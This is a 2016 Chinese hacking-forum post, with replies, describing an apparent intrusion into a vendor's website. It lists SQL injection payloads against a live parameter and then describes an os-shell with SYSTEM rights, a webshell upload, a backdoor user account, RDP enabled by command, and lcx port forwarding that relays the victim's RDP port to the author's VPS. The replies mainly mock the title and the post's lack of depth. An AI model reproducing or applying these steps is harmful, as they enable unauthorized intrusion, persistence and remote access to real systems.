【未转正】一次顺利内网测试

0x01

首先发现目标

http://xxxxx/themes/list.php?id=86存在sql注入（某乌云厂商）

---

Parameter: id (GET)

    Type:boolean-based blind

    Title: ANDboolean-based blind - WHERE or HAVING clause

    Payload: id=86AND 4127=4127

    Type:error-based

    Title: MySQL>= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause

    Payload: id=86AND (SELECT 8388 FROM(SELECT COUNT(*),CONCAT(0x7176627071,(SELECT(ELT(8388=8388,1))),0x71706a7171,FLOOR(RAND(0)*2))x FROMINFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)

    Type: AND/ORtime-based blind

    Title: MySQL>= 5.0.12 AND time-based blind (SELECT)

    Payload: id=86AND (SELECT * FROM (SELECT(SLEEP(5)))fkAj)

    Type: UNIONquery

    Title: GenericUNION query (NULL) - 16 columns

   Payload: id=86 UNION ALL SELECTNULL,CONCAT(0x7176627071,0x6c4361515457676a6b51,0x71706a7171),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--

大量数据

http://oansleg1g.bkt.clouddn.com/shuju.png

发现是dba权限

http://oansleg1g.bkt.clouddn.com/m001.png

执行—os-shell

执行命令

http://oansleg1g.bkt.clouddn.com/m003.png

system权限

http://oansleg1g.bkt.clouddn.com/m004.png

上传点

上传webshell

http://oansleg1g.bkt.clouddn.com/m007.png

链接菜刀
新建一个用户

wooyun

test
http://oansleg1g.bkt.clouddn.com/yonghu.png
默认没有开3389
使用命令开3389
http://oansleg1g.bkt.clouddn.com/3389.png

http://file://localhost/Users/mac/Library/Group%20Containers/UBF8T346G9.Office/msoclip1/01/clip_image018.png

不能远程连接

我需要端口转发

准备工具

lcx

肉鸡端

执行lcx.exe -slave 你的IP 2333 127.0.0.1 3389

在远程vps上

执行

./lcx –m2 –p1 2333 –p2 3389
http://oansleg1g.bkt.clouddn.com/error.png
我们再远程连接我们vps的ip地址的3389端口成功
内网
http://oansleg1g.bkt.clouddn.com/neiwang002.png

http://file://localhost/Users/mac/Library/Group%20Containers/UBF8T346G9.Office/msoclip1/01/clip_image022.png

http://file://localhost/Users/mac/Library/Group%20Containers/UBF8T346G9.Office/msoclip1/01/clip_image024.png

这编辑器 真心不好用 管理员我不是恶意修改投票的 一编辑就成这样子了。

那来的那多通过

kokxxoo 发表于 2016-7-23 09:47
那来的那多通过

一编辑 就成这样子了

Le0nis 发表于 2016-7-23 09:57
一编辑 就成这样子了

未发现技术性的亮点

我是通过通过通过通过还是不通过呢？

这就是所谓的内网渗透／？？？？？

就一个vps  还内网渗透 ==

标题党哈哈，我放弃投票

做过什么内网动作吗....

这就是内网渗透了...

怎么说呢，比较同情你。90sec大神超多，标题党的嫌疑太重了。楼主继续加油，我投了支持票

内网呢。。。

亲这并不是内网呀

首先我也是菜鸟，平时工作也比较忙，苦逼的搬砖族，这个只是我的兴趣爱好。
90确实大神比较多，可是他也是新手，他技术高的话早就提交文章注册了，哪用得着这样的注册机会。个人建议给新鲜血液给点学习的机会。

...这仅仅只是提权吧 说好的内网呢

就是拿一个注入点来提交  没看点 故于不通过

这叫什么技术帖子

运气也是实力的一部分，但是这个标题。。。

其实改下名字会更好点 九零比较低调因此不喜欢这些浮夸的标题

Silence7 发表于 2016-7-23 12:00
就一个vps  还内网渗透 ==

其实我觉得人家么有想说是内网渗透，人家就说是内网测试，，，服务器在内网就可以了嘛。我同意那位兄台的意见，毕竟这个东西还是放宽点，人家也是等着开放注册，然后写个帖子，如果水平够的话  早就注册了。

小莫 发表于 2016-7-24 14:37
其实我觉得人家么有想说是内网渗透，人家就说是内网测试，，，服务器在内网就可以了嘛。我同意那位兄台的 ...

0-0  我想说有点标题党的意思

尴尬。。

虽然没啥技术含量，但是还是鼓励一下吧。加油骚年